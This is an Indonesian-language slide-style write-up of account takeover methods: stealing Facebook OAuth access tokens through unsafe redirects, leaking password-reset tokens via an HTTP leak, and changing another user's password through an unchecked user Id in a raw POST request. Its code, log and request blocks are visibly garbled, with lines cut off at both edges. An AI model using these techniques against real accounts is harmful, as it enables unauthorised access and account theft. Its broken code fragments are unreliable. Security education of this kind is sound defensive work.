

ACCOUNT TAKEOVER METHODOLOGY



**ACCOUNT TAKEOVER METHODOLOGY
ADALAH METODE YANG MEMFOKUSKAN
TUJUAN SERANGAN UNTUK
MENGAMBIL/MENCURI AKUN
PENGGUNA,SUBPENGELOLA,ADMIN,ATAU
BAHKAN SUPER ADMIN.**

UNSAFE REDIRECTS AFTER OAUTH FLOW

Metode ini pernah diterapkan untuk mengambil akun Facebook setelah penyerang mengambil access_token pihak pertama yang dikeluarkan oleh aplikasi-aplikasi yang menggunakan Facebook OAuth. metode ini pernah diimplementasikan salah satu tool dari Facebook untuk membantu siapapun untuk mengikuti, menganalisa dan melaporkan.

```
location.hash) {  
  h = window.location.hash.split("=")[1];  
  ck(null, keys.shift());  
  
  tion second_stage(wind, user_code, retriev  
  'https://graph.facebook.com/graphql?access  
  (data.data.device_request.device_record.no  
  nce = data.data.device_request.device_reco  
  p_id = key.split("|")[0];  
  nd.location.href = https://m.facebook.com/  
  eout(function(){    fetch("https://graph.  
  
  tart_attack(wind, key){  
  ind){  
    window.open("about:blank");}  
  'https://graph.facebook.com/v2.6/device/ld  
  ODE = data.user_code;  
  VE_CODE = data.code;  
  SER_CODE && RETRIEVE_CODE){  
  cond_stage(wind, USER_CODE, RETRIEVE_CODE,
```

ACCOUNT TAKEOVER THROUGH HTTP LEAK

metode ini memanfaatkan password reset dan celah pada HTTP leak, dimana terdapat kombinasi atribut yg mengirimkan permintaan ke sumber daya eksternal, yg padahal hal ini seharusnya tidak bisa dilakukan

```
1. root@pentest: ~ (ssh)
p%3E%3Cp%3EIf+you+did+not+requ
i1.%3C/p%3E%3Cp%3E%C2%A0%3C/p%
00 4260 "-" "Mozilla/5.0 (Wind
.com GooleImageProxy)"
"GET /?id=+%3
token=ey
a+password+reset,+you+can+safe
%3Cp%3EThanks,%3C/p%3E%3Cp%3
%09%3Ctable+width= HTTP/1.1" 2
Gecko Firefox/11.0 (via ggpht
```

TAKEOVER THROUGH PASSWORD RESET

Metode penyerang dengan memanfaatkan proses pengaturan ulang kata sandi yang ada dalam suatu sistem untuk mendapatkan akses ke akun pengguna tanpa izin. Teknik ini sering dimanfaatkan ketika penyerang tidak memiliki akses langsung ke kata sandi asli, tetapi mereka memiliki akses ke informasi yang cukup untuk mengelabui sistem agar memungkinkan mereka untuk mengatur ulang kata sandi.

```
st
Raw  Hex
POST /ChangeUserPassword HTTP/2
Host: www.target.in
User-Agent: Mozilla/5.0 (Macintosh; Intel M
ko/20100101 Firefox/116.0
Accept: application/json, text/javascript,
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf
Requested-With: XMLHttpRequest
Content-Length: 39
Origin: https://www.target.in
Referer: https://www.target.com
X-Fetch-Dest: empty
X-Fetch-Mode: cors
X-Fetch-Site: same-origin
trailers

{"Id":"76772",
"Password":"NewPassword!"}
```

SEKIAN TERIMAKASIH